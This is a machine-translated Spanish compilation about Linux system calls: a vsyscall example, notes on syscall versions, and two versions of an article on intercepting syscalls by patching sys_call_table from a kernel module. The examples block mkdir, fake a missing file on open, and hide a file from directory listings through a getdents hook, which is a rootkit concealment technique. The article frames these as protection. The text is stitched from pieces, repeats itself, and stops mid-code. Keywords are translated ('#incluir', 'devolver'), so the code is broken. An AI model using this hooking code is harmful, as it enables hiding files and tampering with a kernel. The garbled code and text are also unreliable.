Aquí hay un pequeño ejemplo en C de cómo llamar directamente a la función __kernel_vsyscall: #incluir pid int; int main () (__asm ​​​​("movl $20, %eax \n" "call *%gs:0x10 \n" "movl %eax, pid \n"); printf ("pid: %d\n", pid) ; devuelve 0; ) Este ejemplo está tomado de la página de Manu Garg, http://www.manugarg.com. Entonces, en el ejemplo anterior, hacemos la llamada al sistema getpid() (número 20 o, de lo contrario, __NR_getpid). Para no escalar la pila de procesos en busca de la variable AT_SYSINFO, utilizaremos el hecho de que la biblioteca del sistema libc.so copia el valor de la variable AT_SYSINFO en el Bloque de control de subprocesos (TCB) cuando se carga. Este bloque de información suele estar referenciado por un selector en gs. Suponemos que el parámetro deseado se encuentra en el desplazamiento 0x10 y hacemos una llamada a la dirección almacenada en %gs:$0x10.

Resultados.

De hecho, en la práctica, no siempre es posible lograr un aumento de rendimiento especial incluso con el soporte FSCF (Fast System Call Facility) en esta plataforma. El problema es que, de una forma u otra, el proceso rara vez accede directamente al núcleo. Y hay buenas razones para ello. El uso de la biblioteca libc le permite garantizar la portabilidad del programa, independientemente de la versión del kernel. Y es a través de la biblioteca del sistema estándar que se realizan la mayoría de las llamadas al sistema. Incluso si construye e instala el kernel más reciente compilado para una plataforma compatible con FSCF, esto no es una garantía de mejoras en el rendimiento. El punto es que la biblioteca de su sistema libc.so todavía usará int 0x80 y solo se puede solucionar reconstruyendo glibc. Si la interfaz VDSO y __kernel_vsyscall son generalmente compatibles con glibc, francamente, me resulta difícil responder en este momento.

Enlaces.

Página de Manu Garg, http://www.manugarg.com
Pensamientos de dispersión/recopilación por Johan Petersson, http://www.trilithium.com/johan/2005/08/linux-gate/
Buen viejo Comprender el kernel de Linux Dónde sin él :)
Y por supuesto, fuentes de Linux (2.6.22)

La mayoría de las veces, el código para la llamada al sistema numerado __NR_xxx, definido en /usr/include/asm/unistd.h, se puede encontrar en el código fuente del kernel de Linux en la función sys_xxx(). (La tabla de llamadas para i386 se puede encontrar en /usr/src/linux/arch/i386/kernel/entry.S.) Hay muchas excepciones a esta regla, principalmente debido al hecho de que la mayoría de las antiguas llamadas al sistema se reemplazan por otras nuevas, y sin ningún sistema. En plataformas con emulación de sistema operativo propietario, como parisc, sparc, sparc64 y alpha, hay muchas llamadas al sistema adicionales; mips64 también tiene un conjunto completo de llamadas al sistema de 32 bits.

Con el tiempo, se han realizado cambios en la interfaz de algunas llamadas al sistema según sea necesario. Una de las razones de estos cambios fue la necesidad de aumentar el tamaño de las estructuras o valores escalares pasados ​​a una llamada al sistema. Debido a estos cambios, en algunas arquitecturas (es decir, en el antiguo i386 de 32 bits), aparecieron varios grupos de llamadas al sistema similares (por ejemplo, truncar(2) y truncar64(2)), que realizan las mismas tareas pero difieren en el tamaño de sus argumentos. (Como se indicó, las aplicaciones no se ven afectadas: los envoltorios de glibc funcionan para activar la llamada al sistema correcta, y esto garantiza la compatibilidad con ABI para archivos binarios más antiguos). Ejemplos de llamadas al sistema que tienen varias versiones:

*Actualmente hay tres versiones diferentes estadística(2): sys_stat() (lugar __NR_oldstat), sys_newstat() (lugar __NR_stat) y sys_stat64() (lugar __NR_stat64), este último está actualmente en uso. Una situación similar con lstat(2) y fstat(2). * Definido de manera similar __NR_antiguonombreantiguo, __NR_nombreantiguo y __NR_uname para llamadas sys_olduname(), sys_uname() y sys_nuevonombre(). * Linux 2.0 tiene una nueva versión vm86(2), las versiones nueva y antigua de los procedimientos nucleares se denominan sys_vm86old() y sys_vm86(). * Linux 2.4 tiene una nueva versión obtener límite(2) las versiones nueva y antigua de los procedimientos nucleares se denominan sys_old_getrlimit() (lugar __NR_getrlimit) y sys_getrlimit() (lugar __NR_ugetrlimit). * En Linux 2.4, el tamaño del campo de ID de usuario y grupo se incrementó de 16 a 32 bits. Se han agregado varias llamadas al sistema para admitir este cambio (por ejemplo, Chon32(2), getuid32(2), obtenergrupos32(2), setresuid32(2)), desaprobando llamadas anteriores con los mismos nombres pero sin el sufijo "32". * Linux 2.4 agregó soporte para acceder a archivos grandes (cuyos tamaños y desplazamientos no caben en 32 bits) en aplicaciones en arquitecturas de 32 bits. Esto requirió cambios en las llamadas al sistema que funcionan con tamaños de archivo y compensaciones. Se han agregado las siguientes llamadas al sistema: fcntl64(2), getdents64(2), stat64(2), estadísticas64(2), truncar64(2) y sus contrapartes que manejan descriptores de archivos o enlaces simbólicos. Estas llamadas al sistema eliminan las antiguas llamadas al sistema, que, con la excepción de las llamadas "stat", se nombran igual pero no tienen el sufijo "64".

En las plataformas más nuevas que solo tienen acceso a archivos de 64 bits y UID/GID de 32 bits (p. ej., alfa, ia64, s390x, x86-64), solo hay una versión de las llamadas del sistema para UID/GID y acceso a archivos. En plataformas (generalmente plataformas de 32 bits) que tienen llamadas *64 y *32, las otras versiones están obsoletas.

* Desafíos rt_sig* agregado al kernel 2.2 para admitir señales adicionales en tiempo real (ver señal(7)). Estas llamadas al sistema descartan las antiguas llamadas al sistema con el mismo nombre pero sin el prefijo "rt_". * En llamadas al sistema Seleccione(2) y Mapa mm(2) se utilizan cinco o más argumentos, lo que provocó problemas para determinar cómo se pasaban los argumentos en el i386. Como resultado, mientras que en otras arquitecturas las llamadas sys_select() y sys_mmap() partido __NR_seleccionar y __NR_mmap, en i386 corresponden a antiguo_seleccionar() y viejo_mapa() (procedimientos que utilizan un puntero a un bloque de argumentos). Actualmente, ya no hay problema con pasar más de cinco argumentos y hay __NR__nuevoseleccionar, que coincide exactamente sys_select(), y la misma situación con __NR_mmap2.

VLADIMIR MESHKOV

Intercepción de llamadas al sistema en el sistema operativo Linux

En los últimos años, el sistema operativo Linux ha tomado firmemente la delantera como plataforma de servidor, por delante de muchos desarrollos comerciales. Sin embargo, los temas de protección de los sistemas de información construidos sobre la base de este SO no dejan de ser relevantes. Existen una gran cantidad de medios técnicos, tanto de software como de hardware, que permiten garantizar la seguridad del sistema. Estos son medios para encriptar datos y tráfico de red, delimitar derechos de acceso a recursos de información, proteger correo electrónico, servidores web, protección antivirus, etc. La lista, como comprenderá, es bastante larga. En este artículo, le sugerimos que considere un mecanismo de protección basado en la interceptación de llamadas al sistema del sistema operativo Linux. Este mecanismo te permite tomar el control del funcionamiento de cualquier aplicación y con ello prevenir posibles acciones destructivas que pueda realizar.

Llamadas al sistema

Comencemos con una definición. Las llamadas al sistema son un conjunto de funciones implementadas en el kernel del sistema operativo. Cualquier solicitud de la aplicación del usuario finalmente se traduce en una llamada al sistema que realiza la acción solicitada. Puede encontrar una lista completa de las llamadas al sistema del sistema operativo Linux en el archivo /usr/include/asm/unistd.h. Veamos el mecanismo general para realizar llamadas al sistema con un ejemplo. Deje que la fuente de la aplicación llame a la función creat() para crear un nuevo archivo. El compilador, al recibir una llamada a esta función, la convierte en código ensamblador, carga el número de llamada del sistema correspondiente a esta función y sus parámetros en los registros del procesador y luego llama a la interrupción 0x80. Los siguientes valores se cargan en los registros del procesador:

  • al registro EAX– número de llamada del sistema. Entonces, para nuestro caso, el número de llamada del sistema será 8 (ver __NR_creat);
  • al registro EBX– el primer parámetro de la función (para creat es un puntero a una cadena que contiene el nombre del archivo creado);
  • al registro ECX– segundo parámetro (derechos de acceso a archivos).

El tercer parámetro se carga en el registro EDX, en este caso no lo tenemos. Para ejecutar una llamada al sistema en el sistema operativo Linux, se utiliza la función system_call, que se define en el archivo /usr/src/liux/arch/i386/kernel/entry.S. Esta función es el punto de entrada para todas las llamadas al sistema. El kernel responde a la interrupción 0x80 llamando a la función system_call, que es esencialmente el controlador de interrupciones 0x80.

Para asegurarnos de que estamos en el camino correcto, escribamos un pequeño fragmento de prueba en ensamblador. En él veremos en qué se convierte la función creat() después de la compilación. Llamemos al archivo test.S. Aquí está su contenido:

Comienzo_Globl

Texto

comienzo:

Cargue el número de llamada del sistema en el registro EAX:

movl $8, %eax

Al registro EBX: el primer parámetro, un puntero a una cadena con el nombre del archivo:

movl $nombre de archivo, %bx

En el registro ECX - el segundo parámetro, derechos de acceso:

movl $0, %ecx

Llamamos a una interrupción:

entero $0x80

Salimos del programa. Para hacer esto, llame a la función exit(0):

movl $1, %eax movl $0, %ebx int $0x80

En el segmento de datos, especifique el nombre del archivo que se creará:

Datos

nombre de archivo: .string "archivo.txt"

Compilando:

gcc -c prueba.S

ld -s -o prueba prueba.o

La prueba del archivo ejecutable aparecerá en el directorio actual. Al ejecutarlo, crearemos un nuevo archivo llamado file.txt.

Ahora volvamos al mecanismo de llamada al sistema. Entonces, el kernel llama al controlador de interrupciones 0x80, la función system_call. System_call inserta copias de los registros que contienen parámetros de llamada en la pila utilizando la macro SAVE_ALL y llama a la función del sistema deseada con el comando de llamada. La tabla de punteros a las funciones del kernel que implementan las llamadas al sistema se encuentra en la matriz sys_call_table (consulte el archivo arch/i386/kernel/entry.S). El número de llamada del sistema que está en el registro EAX es el índice de esta matriz. Por lo tanto, si el valor 8 está en EAX, se llamará a la función del kernel sys_creat(). ¿Por qué se necesita la macro SAVE_ALL? La explicación aquí es muy simple. Dado que casi todas las funciones del sistema del kernel están escritas en C, buscan sus parámetros en la pila. ¡Y los parámetros se colocan en la pila usando la macro SAVE_ALL! El valor de retorno de la llamada al sistema se almacena en el registro EAX.

Ahora averigüemos cómo interceptar la llamada del sistema. El mecanismo de los módulos del kernel cargables nos ayudará con esto. Aunque ya hemos discutido el desarrollo y el uso de los módulos del núcleo, en aras de la coherencia, consideraremos brevemente qué es un módulo del núcleo, en qué consiste y cómo interactúa con el sistema.

Módulo de kernel cargable

Un módulo de kernel cargable (denominémoslo LKM - Módulo de kernel cargable) es un código de programa que se ejecuta en el espacio del kernel. La característica principal de LKM es la capacidad de cargar y descargar dinámicamente sin necesidad de reiniciar todo el sistema o recompilar el kernel.

Cada LKM consta de dos funciones principales (mínimo):

  • función de inicialización del módulo. Llamado cuando LKM se carga en la memoria:

int init_module(vacío) (...)

  • función de descarga del módulo:

void cleanup_module(void) (...)

Aquí hay un ejemplo de un módulo simple:

#define MÓDULO

#incluir

int init_module(vacío)

printk("Hola mundo");

devolver 0;

módulo de limpieza vacío (vacío)

printk("por");

Compile y cargue el módulo. La carga de un módulo en la memoria se realiza mediante el comando insmod:

gcc -c -O3 holamundo.c

insmod helloworld.o

La información sobre todos los módulos actualmente cargados en el sistema se encuentra en el archivo /proc/modules. Para asegurarse de que el módulo esté cargado, escriba cat /proc/modules o lsmod. El comando rmmod descarga un módulo:

hola mundo

Algoritmo de interceptación de llamadas del sistema

Para implementar un módulo que intercepte una llamada al sistema, es necesario definir un algoritmo de interceptación. El algoritmo es el siguiente:

  • guarde un puntero a la llamada original (original) para que pueda restaurarse;
  • crear una función que implemente una nueva llamada al sistema;
  • reemplazar llamadas en la tabla de llamadas del sistema sys_call_table, es decir configurar un puntero apropiado para la nueva llamada al sistema;
  • al final del trabajo (cuando se descarga el módulo), restaure la llamada al sistema original utilizando el puntero guardado previamente.

El seguimiento le permite averiguar qué llamadas al sistema están involucradas cuando se ejecuta la aplicación del usuario. Al rastrear, puede determinar qué llamada del sistema debe interceptarse para tomar el control de la aplicación. Un ejemplo del uso del programa de rastreo se discutirá a continuación.

Ahora tenemos suficiente información para comenzar a estudiar ejemplos de implementaciones de módulos que interceptan llamadas al sistema.

Ejemplos de interceptación de llamadas al sistema

Prohibir la creación de directorios

Cuando se crea un directorio, se llama a la función del núcleo sys_mkdir. El parámetro es una cadena que contiene el nombre del directorio que se creará. Considere el código que intercepta la llamada al sistema correspondiente.

#incluir

#incluir

#incluir

Exportación de la tabla de llamadas del sistema:

vacío externo *sys_call_table;

Definamos un puntero para almacenar la llamada al sistema original:

int (*orig_mkdir)(const char *ruta);

Vamos a crear nuestra propia llamada al sistema. Nuestra llamada no hace nada, solo devuelve nulo:

int own_mkdir(const char *ruta)

devolver 0;

Durante la inicialización del módulo, guardamos el puntero a la llamada original y reemplazamos la llamada al sistema:

int init_module()

orig_mkdir=sys_call_tabla;

sys_call_table=own_mkdir; devolver 0;

Al descargar, restauramos la llamada original:

anular módulo_de_limpieza()

Sys_call_table=orig_mkdir;

Guardaremos el código en el archivo sys_mkdir_call.c. Para obtener el módulo de objeto, creemos un Makefile con el siguiente contenido:

CC=gcc

CFLAGS=-O3 -Pared -fomit-frame-pointer

sys_mkdir_call.o: sys_mkdir_call.c

$(CC) -c $(CFLAGS) $(MODFLAGS) sys_mkdir_call.c

El comando make creará un módulo kernel. Habiéndolo cargado, intentaremos crear un directorio con el comando mkdir. Como puedes ver, no pasa nada. El comando no funciona. Para restaurar su funcionalidad, basta con descargar el módulo.

Impedir leer un archivo

Para leer un archivo, primero debe abrirse con la función abrir. Es fácil adivinar que esta función corresponde a la llamada al sistema sys_open. Al interceptarlo, podemos proteger el archivo para que no sea leído. Considere la implementación del módulo interceptor.

#incluir

#incluir

#incluir

#incluir

#incluir

#incluir

#incluir

vacío externo *sys_call_table;

Puntero para guardar la llamada al sistema original:

int (*orig_open)(const char *pathname, int flag, int mode);

El primer parámetro de la función abrir es el nombre del archivo a abrir. La nueva llamada al sistema debe comparar este parámetro con el nombre del archivo que queremos proteger. Si los nombres coinciden, se simulará un error de apertura de archivo. Nuestra nueva llamada al sistema se ve así:

int own_open(const char *nombre de ruta, bandera int, modo int)

Aquí ponemos el nombre del archivo a abrir:

char *ruta_del_núcleo;

El nombre del archivo que queremos proteger:

char hide="prueba.txt"

Asigne memoria y copie el nombre del archivo que se abrirá allí:

kernel_path=(char *)kmalloc(255,GFP_KERNEL);

copy_from_user(kernel_path, pathname, 255);

Comparar:

if(strstr(kernel_path,(char *)&hide) != NULL) (

Liberamos memoria y devolvemos un código de error si los nombres coinciden:

libre (kernel_path);

volver -ENOENT;

demás(

Si los nombres no coinciden, llamamos al sistema original para realizar el procedimiento estándar de apertura de archivos:

libre (kernel_path);

return orig_open(ruta, bandera, modo);

int init_module()

orig_open=sys_call_table;

sys_call_table=own_open;

devolver 0;

anular módulo_de_limpieza()

sys_call_table=orig_open;

Guardemos el código en el archivo sys_open_call.c y creemos un Makefile para obtener el módulo de objeto:

CC=gcc

CFLAGS=-O2 -Pared -fomit-frame-pointer

MODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include

sys_open_call.o: sys_open_call.c

$(CC) -c $(CFLAGS) $(MODFLAGS) sys_open_call.c

En el directorio actual, cree un archivo llamado test.txt, cargue el módulo e ingrese el comando cat test.txt. El sistema informará que no existe ningún archivo con ese nombre.

Francamente, tal protección es fácil de eludir. Basta con cambiar el nombre del archivo con el comando mv y luego leer su contenido.

Ocultar una entrada de archivo en un directorio

Determinemos qué llamada del sistema es responsable de leer el contenido del directorio. Para ello, escribiremos otro fragmento de prueba que lea el directorio actual:

/* Archivo dir.c*/

#incluir

#incluir

int principal()

DIR*d;

estructura directorio *dp;

d = abrirdir(".");

dp = leerdir(d);

devolver 0;

Obtenga el módulo ejecutable:

gcc -o dir dir.c

y rastrearlo:

rastro ./dir

Echemos un vistazo a la penúltima línea:

getdents(6, /* 4 entradas*/, 3933) = 72;

El contenido del directorio es leído por la función getdents. El resultado se almacena como una lista de estructuras struct dirent. El segundo parámetro de esta función es un puntero a esta lista. La función devuelve la longitud de todas las entradas en el directorio. En nuestro ejemplo, la función getdents determinó que hay cuatro entradas en el directorio actual: ".", ".." y nuestros dos archivos, el módulo ejecutable y el código fuente. La longitud de todas las entradas en el directorio es de 72 bytes. La información de cada entrada se almacena, como decíamos, en la estructura struct dirent. Nos interesan dos campos de esta estructura:

  • d_reclen– tamaño de registro;
  • d_nombre- Nombre del archivo.

Para ocultar una entrada de archivo (en otras palabras, hacerla invisible), debe interceptar la llamada al sistema sys_getdents, encontrar la entrada correspondiente en la lista de estructuras recibidas y eliminarla. Considere el código que realiza esta operación (el autor del código original es Michal Zalewski):

vacío externo *sys_call_table;

int (*orig_getdents)(u_int, struct dirent *, u_int);

Definamos nuestra llamada al sistema.

int own_getdents(u_int fd, struct dirent *dirp, u_int cuenta)

int sin firmar tmp, n;

int t;

La asignación de las variables se mostrará a continuación. Además, necesitamos estructuras:

dirección de estructura *dirp2, *dirp3;

El nombre del archivo que queremos ocultar:

char hide="nuestro.archivo";

Determine la longitud de las entradas en el directorio:

tmp=(*orig_getdents)(fd,dirp,count);

si(tmp>0)(

Asignemos memoria para la estructura en el espacio del kernel y copiemos el contenido del directorio en él:

dirp2=(dirección de estructura *)kmalloc(tmp,GFP_KERNEL);

copiar_de_usuario(dirp2,dirp,tmp);

Usemos la segunda estructura y guardemos el valor de la longitud de las entradas en el directorio:

dirp3=dirp2;

t=tmp;

Empecemos a buscar nuestro archivo:

mientras(t>0) (

Leemos la longitud de la primera entrada y determinamos la longitud restante de las entradas en el directorio:

n=dirp3->d_reclen;

t-=n;

Verificamos si el nombre del archivo de la entrada actual coincide con el que estamos buscando:

if(strstr((char *)&(dirp3->d_name),(char *)&hide) != NULL) (

Si es así, sobrescribimos la entrada y calculamos un nuevo valor para la longitud de las entradas en el directorio:

memcpy(dirp3,(char *)dirp3+dirp3->d_reclen,t);

tmp-=n;

Coloque el puntero en la siguiente entrada y continúe buscando:

dirp3=(struct dirent *)((char *)dirp3+dirp3->d_reclen);

Devolvemos el resultado y liberamos la memoria:

copiar_a_usuario(dirp,dirp2,tmp);

libre(dirp2);

Devolvemos el valor de la longitud de las entradas en el directorio:

volver tmp;

Las funciones de inicialización y descarga de módulos tienen un formato estándar:

int init_module(vacío)

orig_getdents=sys_call_table;

sys_call_table=own_getdents;

devolver 0;

anular módulo_de_limpieza()

sys_call_table=orig_getdents;

Guardemos el texto fuente en el archivo sys_call_getd.c y creemos un Makefile con el siguiente contenido:

CC=gcc

módulo = sys_call_getd.o

CFLAGS = -O3 -Pared

linux=/usr/src/linux

MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/incluir

sys_call_getd.o: sys_call_getd.c $(CC) -c

$(CFLAGS) $(MODFLAGS) sys_call_getd.c

Vamos a crear nuestro archivo en el directorio actual y cargar el módulo. Desaparece el expediente, que estaba por probar.

Como comprenderá, no es posible considerar un ejemplo de interceptación de cada llamada al sistema en el marco de un artículo. Por lo tanto, para aquellos que estén interesados ​​en este tema, recomiendo visitar los sitios:

Allí puede encontrar ejemplos más complejos e interesantes de interceptar llamadas al sistema. Escriba sobre todos los comentarios y sugerencias en el foro de la revista.

En la elaboración del artículo se utilizaron materiales del sitio.

Este material es una modificación del artículo del mismo nombre de Vladimir Meshkov, publicado en la revista "Administrador del sistema".

Este material es una copia de los artículos de Vladimir Meshkov de la revista "Administrador del sistema". Estos artículos se pueden encontrar en los enlaces a continuación. Además, se cambiaron algunos ejemplos de textos fuente del programa, se mejoraron y finalizaron. (El ejemplo 4.2 se modificó mucho, ya que se tuvo que interceptar una llamada al sistema ligeramente diferente) URL: http://www.samag.ru/img/uploaded/p.pdf http://www.samag.ru/img/ subido/a3.pdf

¿Tiene preguntas? Entonces estás aquí: [correo electrónico protegido]

  • 2. Módulo de kernel cargable
  • 4. Ejemplos de interceptación de llamadas al sistema basadas en LKM
    • 4.1 Deshabilitar la creación de directorios

1. Vista general de la arquitectura Linux

La vista más general nos permite ver un modelo de dos niveles del sistema. núcleo<=>progs En el centro (a la izquierda) está el kernel del sistema. El kernel interactúa directamente con el hardware de la computadora, aislando los programas de aplicación de las características arquitectónicas. El núcleo tiene un conjunto de servicios proporcionados a los programas de aplicación. Los servicios del kernel incluyen operaciones de E/S (apertura, lectura, escritura y administración de archivos), creación y administración de procesos, sincronización de los mismos y comunicación entre procesos. Todas las aplicaciones solicitan servicios del núcleo a través de llamadas al sistema.

El segundo nivel lo componen las aplicaciones o tareas, tanto las de sistema, que determinan la funcionalidad del sistema, como las de aplicación, que proporcionan la interfaz de usuario de Linux. Sin embargo, a pesar de la heterogeneidad externa de las aplicaciones, los esquemas de interacción con el núcleo son los mismos.

La interacción con el núcleo se produce a través de la interfaz de llamada al sistema estándar. La interfaz de llamada del sistema es un conjunto de servicios del núcleo y define el formato de las solicitudes de servicios. Un proceso solicita un servicio al realizar una llamada del sistema a un procedimiento del kernel específico, que se parece a una llamada de función de biblioteca normal. El kernel ejecuta la solicitud en nombre del proceso y devuelve los datos requeridos al proceso.

En el ejemplo anterior, el programa abre un archivo, lee los datos y cierra el archivo. En este caso, la operación de abrir (abrir), leer (leer) y cerrar (cerrar) un archivo la realiza el kernel a petición de la tarea, y las operaciones de abrir (2), leer (2) y cerrar (2 ) las funciones son llamadas al sistema.

/* Fuente 1.0 */ #incluir main () ( int fd; char buf; /* Abrir el archivo - obtener un enlace (descriptor de archivo) fd */ fd = open("file1",O_RDONLY); /* Leer 80 caracteres en el búfer buf */ read( fd, buf , sizeof(buf)); /* Cerrar el archivo */ close(fd); ) /* EOF */ Se puede encontrar una lista completa de las llamadas al sistema OS Linux en /usr/include/asm/unistd.h . Veamos ahora el mecanismo para realizar llamadas al sistema en este ejemplo. El compilador, habiendo cumplido con la función open() para abrir un archivo, lo convierte en código ensamblador, carga el número de llamada del sistema correspondiente a esta función y sus parámetros en los registros del procesador y luego llama a la interrupción 0x80. Los siguientes valores se cargan en los registros del procesador:

  • al registro EAX - el número de la llamada al sistema. Entonces, para nuestro caso, el número de llamada del sistema es 5 (ver __NR_open).
  • al registro EBX: el primer parámetro de la función (para open() es un puntero a una cadena que contiene el nombre del archivo que se está abriendo).
  • al registro ECX - el segundo parámetro (derechos de acceso a archivos)
El tercer parámetro se carga en el registro EDX, en este caso no lo tenemos. Para realizar una llamada al sistema en OS Linux, se utiliza la función system_call, que se define (dependiendo de la arquitectura en este caso i386) en el archivo /usr/src/linux/arch/i386/kernel/entry.S. Esta función es el punto de entrada para todas las llamadas al sistema. El kernel responde a la interrupción 0x80 llamando a la función system_call, que es esencialmente el controlador de interrupciones 0x80.

Para asegurarnos de que estamos en el camino correcto, veamos el código de la función open() en la biblioteca del sistema libc:

# gdb -q /lib/libc.so.6 (gdb) disas open Volcado del código del ensamblador para abrir la función: 0x000c8080 : llamar 0x1082be< __i686.get_pc_thunk.cx >0x000c8085 : agregue $ 0x6423b,% ecx 0x000c808b : cmpl $0x0.0x1a84(%ecx) 0x000c8092 : jne 0xc80b1 0x000c8094 : empuje %ebx 0x000c8095 : mov 0x10(%esp,1),%edx 0x000c8099 : mov 0xc(%esp,1),%ecx 0x000c809d : mov 0x8(%esp,1),%ebx 0x000c80a1 : mover $0x5,%eax 0x000c80a6 : int $0x80 ... Como puede ver en las últimas líneas, se pasan parámetros a los registros EDX, ECX, EBX, y el último registro EAX se llena con el número de llamada del sistema, que, como ya sabemos, es 5 .

Ahora volvamos al mecanismo de llamada al sistema. Entonces, el núcleo llama al controlador de interrupción 0x80: la función system_call. System_call inserta copias de registros que contienen parámetros de llamada en la pila utilizando la macro SAVE_ALL y llama a la función del sistema deseada con el comando de llamada. La tabla de punteros a las funciones del kernel que implementan las llamadas al sistema se encuentra en la matriz sys_call_table (consulte el archivo arch/i386/kernel/entry.S). El número de llamada del sistema que reside en el registro EAX es el índice de esta matriz. Por lo tanto, si EAX contiene el valor 5, se llamará a la función del núcleo sys_open(). ¿Por qué se necesita la macro SAVE_ALL? La explicación aquí es muy simple. Dado que casi todas las funciones del sistema del kernel están escritas en C, buscan sus parámetros en la pila. ¡Y los parámetros se colocan en la pila con SAVE_ALL! El valor de retorno de la llamada al sistema se almacena en el registro EAX.

Ahora averigüemos cómo interceptar la llamada del sistema. El mecanismo de los módulos del kernel cargables nos ayudará con esto.

2. Módulo de kernel cargable

Módulo de kernel cargable (LKM - Módulo de kernel cargable) es un código que se ejecuta en el espacio del kernel. La característica principal de LKM es la capacidad de cargar y descargar dinámicamente sin necesidad de reiniciar todo el sistema o recompilar el kernel.

Cada LKM consta de dos funciones principales (mínimo):

  • función de inicialización del módulo. Llamado cuando LKM se carga en la memoria: int init_module(void) (...)
  • función de descarga del módulo: void cleanup_module(void) (...)
Aquí hay un ejemplo del módulo más simple: /* Source 2.0 */ #include int init_module(void) ( printk("Hello World\n"); return 0; ) void cleanup_module(void) ( printk("Bye\n"); ) /* EOF */ Compila y carga el módulo. La carga de un módulo en la memoria se realiza con el comando insmod y la visualización de los módulos cargados con el comando lsmod: # gcc -c -DMODULE -I /usr/src/linux/include/ src-2.0.c # insmod src-2.0.o Advertencia: cargar src-2.0 .o dañará el kernel: sin licencia Módulo src-2.0 cargado, con advertencias # dmesg | cola -n 1 Hola mundo # lsmod | grep src src-2.0 336 0 (sin usar) # rmmod src-2.0 # dmesg | cola -n 1 Adiós

3. Algoritmo para interceptar una llamada al sistema basado en LKM

Para implementar un módulo que intercepte una llamada al sistema, es necesario definir un algoritmo de interceptación. El algoritmo es el siguiente:
  • guarde un puntero a la llamada original (original) para que pueda restaurarse
  • crear una función que implemente la nueva llamada al sistema
  • reemplazar llamadas en la tabla de llamadas del sistema sys_call_table, es decir, establecer el puntero correspondiente a una nueva llamada del sistema
  • al final del trabajo (cuando se descarga el módulo), restaure la llamada del sistema original utilizando el puntero guardado previamente
El seguimiento le permite averiguar qué llamadas al sistema están involucradas en el funcionamiento de la aplicación del usuario. Al rastrear, puede determinar qué llamada del sistema debe interceptarse para tomar el control de la aplicación. # ltrace -S ./src-1.0 ... open("archivo1", 0, 01 SYS_open("archivo1", 0, 01) = 3<... open resumed>) = 3 leer(3, SYS_read(3, "123\n", 80) = 4<... read resumed>"123\n", 80) = 4 cerrar(3 SYS_close(3) = 0<... close resumed>) = 0 ... Ahora tenemos suficiente información para comenzar a estudiar ejemplos de implementaciones de módulos que interceptan llamadas al sistema.

4. Ejemplos de interceptación de llamadas al sistema basadas en LKM

4.1 Deshabilitar la creación de directorios

Cuando se crea un directorio, se llama a la función del núcleo sys_mkdir. El parámetro es una cadena que contiene el nombre del directorio que se creará. Considere el código que intercepta la llamada al sistema correspondiente. /* Fuente 4.1 */ #incluir #incluir #incluir /* Exportar la tabla de llamadas al sistema */ extern void *sys_call_table; /* Definir un puntero para almacenar la llamada original */ int (*orig_mkdir)(const char *ruta); /* Crea nuestra propia llamada al sistema. Nuestra llamada no hace nada, simplemente devuelve nulo */ int own_mkdir(const char *path) ( return 0; ) /* Durante la inicialización del módulo, guarde el puntero en la llamada original y reemplace la llamada al sistema */ int init_module(void) ( orig_mkdir =sys_call_table; sys_call_table=own_mkdir; printk("sys_mkdir reemplazado\n"); return(0); ) /* Al descargar, restaurar la llamada original */ void cleanup_module(void) ( sys_call_table=orig_mkdir; printk("sys_mkdir retrocedió \n "); ) /* EOF */ Para obtener el módulo objeto, ejecute el siguiente comando y ejecute algunos experimentos en el sistema: # gcc -c -DMODULE -I/usr/src/linux/include/ src-3.1. c # dmesg | tail -n 1 sys_mkdir reemplazado # mkdir prueba # ls -ald prueba ls: prueba: No existe tal archivo o directorio # rmmod src-3.1 # dmesg | tail -n 1 sys_mkdir se movió hacia atrás # mkdir test # ls -ald test drwxr-xr-x 2 root root 4096 2003-12-23 03:46 test Como puede ver, el comando "mkdir" no funciona, o más bien nada sucede Descargar el módulo es suficiente para restaurar la funcionalidad del sistema. Lo que se ha hecho arriba.

4.2 Ocultar una entrada de archivo en un directorio

Determinemos qué llamada del sistema es responsable de leer el contenido del directorio. Para ello, escribiremos otro fragmento de prueba que lea el directorio actual: /* Source 4.2.1 */ #include #incluir int main() ( DIR *d; struct dirent *dp; d = opendir("."); dp = readdir(d); return 0; ) /* EOF */ Obtener el ejecutable y rastrear: # gcc -o src -3.2.1 src-3.2.1.c # ltrace -S ./src-3.2.1 ... opendir("." Sys_open (".", 100352, 010005141300) = 3 sys_fstat64 (3, 0xbffff79c, 0x4014c2c0, 3, 0xbffff874) = 0 sys_fcntl64 (3, 2, 1, 1, 0x4014c2c0) = 0 sys_s_fcntl64 (3, 2, 1, 1, 0x4014c2c0) = 0 sys_s_fcntl64 (3, 2, 1, 1, 0x4014c2c0) = 0 Sys_Fcntl64 (3, 2, 1, 1, 0x4014c2c0) = 0 Sys_fcntl64 (3, 2, 1, 1, 0x4014c2c0) = 0 Sys_fcntl64 (3, 2, 1. = 0x0806a5f4 SYS_brk(NULO) = 0x0806a5f4 SYS_brk(0x0806b000) = 0x0806b000<... opendir resumed>) = 0x08049648 leerdir(0x08049648 SYS_getdents64(3, 0x08049678, 4096, 0x40014400, 0x4014c2c0) = 528<... readdir resumed>) = 0x08049678 ... Preste atención a la última línea. Los contenidos del directorio son leídos por la función getdents64 (getdents es posible en otros núcleos). El resultado se almacena como una lista de estructuras de tipo struct dirent, y la función misma devuelve la longitud de todas las entradas en el directorio. Nos interesan dos campos de esta estructura:
  • d_reclen - tamaño de registro
  • d_name - nombre de archivo
Para ocultar una entrada de archivo sobre un archivo (en otras palabras, hacerlo invisible), debe interceptar la llamada del sistema sys_getdents64, encontrar la entrada correspondiente en la lista de estructuras recibidas y eliminarla. Considere el código que realiza esta operación (el autor del código original es Michal Zalewski): /* Fuente 4.2.2 */ #include #incluir #incluir #incluir #incluir #incluir #incluir #incluir vacío externo *sys_call_table; int (*orig_getdents)(u_int fd, struct dirent *dirp, u_int cuenta); /* Definir nuestra llamada al sistema */ int own_getdents(u_int fd, struct dirent *dirp, u_int count) ( unsigned int tmp, n; int t; struct dirent64 ( int d_ino1,d_ino2; int d_off1,d_off2; unsigned short d_reclen; unsigned char d_type; char d_name; ) *dirp2, *dirp3; /* El nombre del archivo que queremos ocultar */ char hide = "file1"; /* Determinar la longitud de las entradas en el directorio */ tmp = (*orig_getdents )(fd,dirp ,count); if (tmp>0) ( /* Asigna memoria para la estructura del espacio del núcleo y copia el contenido del directorio en ella */ dirp2 = (struct dirent64 *)kmalloc(tmp,GFP_KERNEL) ; copy_from_user(dirp2,dirp,tmp) ; /* Invocamos la segunda estructura y guardamos el valor de la longitud de las entradas en el directorio */ dirp3 = dirp2; t = tmp; /* Comenzamos a buscar 